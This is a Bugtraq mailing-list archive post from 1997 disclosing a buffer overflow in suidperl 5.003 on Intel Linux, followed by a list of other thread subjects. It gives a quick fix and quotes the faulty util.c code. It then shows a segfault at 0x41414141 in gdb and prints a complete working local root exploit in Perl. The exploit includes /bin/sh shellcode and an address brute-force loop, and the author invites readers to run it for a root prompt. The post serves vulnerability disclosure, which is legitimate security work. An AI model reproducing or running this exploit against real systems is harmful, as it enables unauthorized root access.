Bugtraq mailing list archives
another buffer overrun in sperl5.003
From: peak () kerberos troja mff cuni cz (Pavel Kankovsky)
Date: Thu, 13 Nov 1997 18:14:28 +0100
Summary: Any user can gain root privileges on a Intel Linux system with suidperl 5.003 (having the suid bit, of course) even if "SUIDBUF" and "two suidperl security patches" have been applied. Non-Intel / non-Linux platforms may be affected as well. Quick fix: chmod u-s /usr/bin/sperl5.003 (what else?) Details: There is a nasty bug in mess() (util.c): it is possible to overflow its buffer (via sprintf()); mess() tries to detect this situation but fails to handle the problem properly: [excerpt from util.c] if (s - s_start >= sizeof(buf)) { /* Ooops! */ if (usermess) fputs(SvPVX(tmpstr), stderr); else fputs(buf, stderr); fputs("panic: message overflow - memory corrupted!\n",stderr); my_exit(1); } It does not abort immediately. It prints out an error message and calls my_exit(1), and this is very bad. $ perl -v This is perl, version 5.003 with EMBED Locally applied patches: SUIDBUF - Buffer overflow fixes for suidperl security built under linux at Apr 22 1997 10:04:46 + two suidperl security patches $ perl `perl -e "print 'A' x 3000"` Can't open perl script "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... ...AAAAAAAAAAAAAAAAA": File name too long panic: message overflow - memory corrupted! $ Can't open perl script "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... ...AAAAAAAAAAAAAAAAA": File name too long panic: message overflow - memory corrupted! Segmentation fault (core dumped) $ gdb /usr/bin/perl core GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.16 (i586-unknown-linux), Copyright 1996 Free Software Foundation, Inc... (no debugging symbols found)... Core was generated by `perl AAAAA...'. Program terminated with signal 11, Segmentation fault. Reading symbols ... ... #0 0x41414141 in ?? () (gdb) Voila! 0x41414141 == "AAAA" The variable called top_env has been overwritten. In fact, it is jmp_buf and Perl calls longjmp() with it somewhere in my_exit(). Run this and wait for a root prompt: [exploit code] #!/usr/bin/perl # yes, this suidperl exploit is in perl, isn't it wonderful? :) $| = 1; $shellcode = "\x90" x 512 . # nops "\xbc\xf0\xff\xff\xbf" . # movl $0xbffffff0,%esp # "standard shellcode" by Aleph One "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" . "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" . "\x80\xe8\xdc\xff\xff\xff/bin/sh"; # start and end of .data # adjust this using /proc/*/maps $databot = 0x080a2000; $datatop = 0x080ab000; # trial and error loop $address = $databot + 4; while ($address < $datatop) { $smash_me = $shellcode . ('A' x (2052 - length($shellcode))) . (pack("l", $address) x 1000) . ('B' x 1000); $pid = fork(); if (!$pid) { exec('/usr/bin/sperl5.003', $smash_me); } else { wait; if ($? == 0) { printf("THE MAGIC ADDRESS WAS %08x\n", $address); exit; } } $address += 128; } [end of exploit code] I have tested this on two Red Hat 4.2 systems running on Intel (with perl-5.003-8 and -9). I am pretty sure any Intel-like Linux having sperl5.003 is affected. Other platforms may be affected too. Perl 5.004 is NOT VULNERABLE. --Pavel Kankovsky aka Peak (troja.mff.cuni.cz network administration)
Current thread:
- L0pht Advisory: IE4.0, (continued)
- L0pht Advisory: IE4.0 Petri Helenius (Nov 10)
- Cisco IOS password encryption facts John Bashinski (Nov 10)
- Re: Cisco IOS password encryption facts ice9 (Nov 11)
- Re: Cisco IOS password encryption facts J. Sean Connell (Nov 11)
- Re: Cisco IOS password encryption facts Michael Degerman (Nov 13)
- mode of the i586 F0 bug VaX#n8 (Nov 12)
- Re: mode of the i586 F0 bug Alan Cox (Nov 12)
- Linux F00F Patch Aleph One (Nov 12)
- Re: Safe /tmp cleanup Randal Schwartz (Nov 12)
- Re: Safe /tmp cleanup dsiebert () ICAEN UIOWA EDU (Nov 13)
- another buffer overrun in sperl5.003 Pavel Kankovsky (Nov 13)
- Re: Safe /tmp cleanup Valdis Kletnieks (Nov 13)
- IE4.0 patch Richard Trott (Nov 13)
- X Security problem (?) Carlo Wood (Nov 13)
- Re: X Security problem (?) Matthias Buelow (Nov 14)
- Re: X Security problem (?) Scott Moseman (Nov 14)
- digital unix 4.0 hole John McDonald (Nov 14)
- What to do when you forget your cisco LD password... Dustin Sallings (Nov 13)
- Re: What to do when you forget your cisco LD password... John Bashinski (Nov 14)
- Re: Safe /tmp cleanup Erik Troan (Nov 13)
- Linux IP fragment overlap bug G P R (Nov 13)